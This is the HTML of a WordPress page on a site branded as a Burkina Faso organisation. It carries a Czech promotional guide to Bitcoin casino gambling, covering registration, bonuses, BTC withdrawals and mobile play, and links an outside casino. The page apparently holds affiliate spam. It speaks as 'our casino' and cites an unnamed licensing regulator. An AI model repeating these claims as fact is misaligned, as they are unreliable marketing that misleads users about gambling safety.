.footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='https://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/838" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=838' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="https://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-838 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838 current_page_item"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/" aria-current="page">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-838" class="post-838 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">BTC hrát: aplikace a mobilní průvodce</h1>
				
				
					<div class="entry-content">
					<figure data-affgun-media="hero" style="margin:0 0 1.5em 0;text-align:center"><img decoding="async" src="https://i.ytimg.com/vi/-UYXWf0fXvo/hqdefault.jpg" alt="" style="max-width:100%;height:auto;border-radius:8px" loading="lazy" referrerpolicy="no-referrer"></figure>
<h1>Jak bezpečně a výhodně BTC hrát v českém online kasinu</h1>
<h2 id="pro-zvolit-btc-pro-hran-v-kasinu">Proč zvolit BTC pro hraní v kasinu</h2>
<div data-affgun-media="video" style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;margin:1.5em 0;border-radius:8px"><iframe src="https://www.youtube-nocookie.com/embed/-UYXWf0fXvo" style="position:absolute;top:0;left:0;width:100%;height:100%;border:0;border-radius:8px" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="accelerometer;autoplay;clipboard-write;encrypted-media;gyroscope;picture-in-picture" allowfullscreen=""></iframe></div>
<p>Bitcoiny se staly populární volbou pro hráče, kteří hledají rychlé a diskrétní transakce. Díky decentralizované povaze kryptoměny se vyhnete tradičním bankovním poplatkům a můžete si užívat okamžité vklady i výběry. Navíc mnoho českých kasin nabízí speciální bonusy jen pro uživatele, kteří si zvolí BTC jako platební metodu. Pokud se vám chce <strong>BTC hrát</strong> a zároveň mít kontrolu nad svými financemi, tento přístup vám poskytne flexibilitu i bezpečí.</p>
<nav aria-label="Table of contents">
<ol>
<li><a href="#pro-zvolit-btc-pro-hran-v-kasinu">Proč zvolit BTC pro hraní v kasinu</a></li>
<li><a href="#registrace-a-oven-krok-za-krokem">Registrace a ověření – krok za krokem</a>
<ol>
<li><a href="#registrace-krok-po-kroku">Registrace krok po kroku</a></li>
</ol>
</li>
<li><a href="#bonusy-a-podmnky-pro-btc-hre">Bonusy a podmínky pro BTC hráče</a>
<ol>
<li><a href="#vtac-bonus-a-wagering-requirements">Vítací bonus a wagering requirements</a></li>
</ol>
</li>
<li><a href="#platebn-metody-vkldn-a-vbry-v-btc">Platební metody: vkládání a výběry v BTC</a></li>
<li><a href="#mobiln-a-live-casino-zitek">Mobilní a live casino zážitek</a>
<ol>
<li><a href="#mobiln-aplikace-a-live-hry">Mobilní aplikace a live hry</a></li>
</ol>
</li>
<li><a href="#bezpenost-licence-a-zodpovdn-hran">Bezpečnost, licence a zodpovědné hraní</a></li>
<li><a href="#asto-kladen-otzky-faq">Často kladené otázky (FAQ)</a></li>
</ol>
</nav>
<p>Pro české hráče je také výhodou, že Bitcoin není vázán na konkrétní měnu, takže můžete snadno převádět mezi CZK a BTC podle aktuálního kurzu. To vám umožní lépe spravovat bankroll a využívat výhodných kurzů. V praxi to znamená méně papírování a rychlejší přístup k výhrám, což je hlavní důvod, proč se mnoho začátečníků rozhodne <em>BTC hrát</em> právě u nás.</p>
<h2 id="registrace-a-oven-krok-za-krokem">Registrace a ověření – krok za krokem</h2>
<h3 id="registrace-krok-po-kroku">Registrace krok po kroku</h3>
<p>První krok je otevření účtu na <a href="https://btccasino.cz/">Bitcoin kasino</a>. Vyplníte základní údaje – e‑mail, heslo a volitelně telefon. Poté potvrďte e‑mail pomocí odkazu, který vám přijde do schránky. Registrace trvá jen pár minut a po jejím dokončení můžete přistoupit k prvnímu vkladu v Bitcoinech.</p>
<p>Ovšem pro zvýšenou bezpečnost bude kasino vyžadovat KYC (poznání zákazníka). Nahrajete kopii občanského průkazu a případně doklad o adrese. Tento proces může zabrat až 24 hodin, ale po schválení získáte plný přístup ke všem bonusům a limitům výběru. Vše probíhá v zabezpečeném rozhraní, takže vaše data jsou v bezpečí.</p>
<h2 id="bonusy-a-podmnky-pro-btc-hre">Bonusy a podmínky pro BTC hráče</h2>
<h3 id="vtac-bonus-a-wagering-requirements">Vítací bonus a wagering requirements</h3>
<p>Většina licencovaných kasin v České republice nabízí vstupní bonus speciálně pro kryptoměny. Obvykle se jedná o 100 % match bonus až do výše 0,5 BTC plus několik free spinů na populárních automatech. Při uplatnění bonusu je nutné splnit wagering requirements, které se pohybují kolem 30‑35× celkové částky bonusu.</p>
<p>Upozorňujeme, že ne všechny hry přispívají stejně ke splnění podmínek – sloty mají nejvyšší příspěvek, zatímco live casino může mít nižší koeficient. Proto je dobré si před hraním přečíst podrobný bonusový popis a naplánovat si, jaké hry použijete ke splnění wagering requirements. Výše uvedený přístup vám pomůže maximalizovat zisk a minimalizovat ztrátu času.</p>
<h2 id="platebn-metody-vkldn-a-vbry-v-btc">Platební metody: vkládání a výběry v BTC</h2>
<p>Vkládat a vybírat peníze pomocí Bitcoinu je v našem kasinu naprosto jednoduché. Po přihlášení zvolíte sekci „Deposit“ a získáte unikátní Bitcoin adresu, na kterou pošlete požadovanou částku. Vklady jsou zpracovány během několika minut, což je podstatná výhoda oproti tradičním bankovním převodům, které mohou trvat dny.</p>
<p>Výběry se liší v rychlosti podle zvolené blockchainové sítě. Níže uvádíme přehled typických časů a poplatků.</p>
<table border="1" cellpadding="5" cellspacing="0">
<thead>
<tr>
<th>Metoda výběru</th>
<th>Průměrná rychlost</th>
<th>Poplatek</th>
</tr>
</thead>
<tbody>
<tr>
<td>Standardní Bitcoin (BTC)</td>
<td>10‑30 minut</td>
<td>0,0005 BTC</td>
</tr>
<tr>
<td>Lightning Network</td>
<td>Okamžitě</td>
<td>0,0001 BTC</td>
</tr>
<tr>
<td>Instant payout (vnitřní převod)</td>
<td>Do 5 minut</td>
<td>Žádný</td>
</tr>
</tbody>
</table>
<p>Kromě Bitcoinu můžete využít i další kryptoměny, ale pokud chcete <strong>BTC hrát</strong>, držte se výše uvedených metod, aby byl váš cash‑flow co nejplynulejší. Všechny transakce jsou monitorovány systémem anti‑fraud, takže máte jistotu, že vaše výhry dorazí bezpečně a bez zbytečného zdržení.</p>
<h2 id="mobiln-a-live-casino-zitek">Mobilní a live casino zážitek</h2>
<h3 id="mobiln-aplikace-a-live-hry">Mobilní aplikace a live hry</h3>
<p>Naše platforma nabízí plně optimalizovanou mobilní verzi, která funguje jak v mobilním prohlížeči, tak v samostatné aplikaci pro Android i iOS. Aplikace podporuje všechny funkce, včetně vkladů v BTC, bonusových oznámení a okamžitého přístupu k live dealerům. Díky tomu můžete hrát i na cestách, aniž byste museli měnit zařízení.</p>
<p>Live casino nabízí reálné dealery, ruletu, blackjack a baccarat, kde můžete <em>BTC hrát</em> přímo proti živým profesionálům. Streamy jsou ve vysokém rozlišení a přichází s interaktivním chatem, takže máte pocit, že jste přímo na herním podlaze v Las Vegas. Pro začátečníky jsou k dispozici tutoriály, které vám pomohou pochopit pravidla a strategii během několika minut.</p>
<h2 id="bezpenost-licence-a-zodpovdn-hran">Bezpečnost, licence a zodpovědné hraní</h2>
<p>Kasino je licencováno od renomovaného regulačního orgánu, což zaručuje transparentní provoz a dodržování přísných standardů. Šifrování SSL 256‑bit chrání veškeré osobní a finanční údaje, a všechny Bitcoin transakce jsou sledovány blockchainovým auditem, takže jsou plně prověřitelné.</p>
<p>V rámci zodpovědného hraní poskytujeme nástroje pro limity vkladů, časové omezení a možnost samovolného vyloučení. Pokud cítíte, že by hraní mohlo ohrozit váš rozpočet, můžete si nastavit denní limit nebo kontaktovat zákaznickou podporu, která je k dispozici 24/7 a pomůže vám s jakýmkoli požadavkem.</p>
<h2 id="asto-kladen-otzky-faq">Často kladené otázky (FAQ)</h2>
<ul>
<li><strong>Jak rychle se mé vklady v BTC projeví?</strong> Vklady jsou obvykle potvrzeny během 5‑15 minut, záleží na aktuální zátěži sítě.</li>
<li><strong>Jsou výhry v BTC okamžitě vyplatitelné?</strong> Ano, pokud použijete Lightning Network nebo interní instant payout, výplata může trvat méně než 5 minut.</li>
<li><strong>Potřebuji speciální účet pro kryptoměny?</strong> Ne, stačí vám běžný herní účet, kde můžete aktivovat Bitcoin jako platební metodu v nastavení.</li>
<li><strong>Jaké jsou wagering requirements pro bonus?</strong> Standardně 30‑35×, ale konkrétní podmínky najdete v bonusové sekci po přihlášení.</li>
</ul>
<p>Věříme, že tento praktický průvodce vám pomůže vstoupit do světa online hazardu s Bitcoiny s jistotou a pohodlím. Připravte se na rychlé výhry, bezpečné transakce a spoustu zábavy – a nezapomeňte hrát zodpovědně.</p>
					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="https://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"https://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"https://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"https://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"c2017a83a8","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"b82a2f40be","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"838","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"https://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="https://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="https://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
